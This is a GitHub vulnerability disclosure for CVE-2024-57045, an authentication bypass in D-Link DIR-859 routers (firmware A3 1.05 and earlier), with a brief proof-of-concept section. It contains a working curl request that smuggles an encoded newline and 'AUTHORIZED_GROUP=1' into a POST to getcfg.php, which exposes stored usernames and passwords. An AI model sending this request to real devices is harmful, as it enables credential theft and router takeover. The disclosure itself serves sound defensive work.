Skip to content

ACL bypass Vulnerability in D-Link DIR-859.md

Latest commit

 

History

History
34 lines (20 loc) · 1.22 KB

ACL bypass Vulnerability in D-Link DIR-859.md

File metadata and controls

34 lines (20 loc) · 1.22 KB
Raw

ACL bypass Vulnerability in D-Link DIR-859

0x01 Vulnerability description

A vulnerability in the D-Link DIR-859 router permits unauthorized individuals to bypass the authentication. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page.

curl http://target/getcfg.php -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1"

0x02 Affected version

D-Link DIR-859
(Firmware version A3 1.05 and earlier)

0x03 PoC verification

When attempting to curl http://target/getcfg.php -d "SERVICES=DEVICE.ACCOUNT" without the specific string "0aAUTHORIZED_GROUP=1", the response return "Not authorized".

image-20241210162753297

However, by incorporating the string "0aAUTHORIZED_GROUP=1" into the command, the authentication check is successfully bypassed. This manipulation discloses entry information, including usernames and passwords, thereby granting an attacker the ability to perform further unauthorized operations.

image-20241210162859904

0x04 Acknowledgement

Shuanunio

0X05 CVE ID

CVE-2024-57045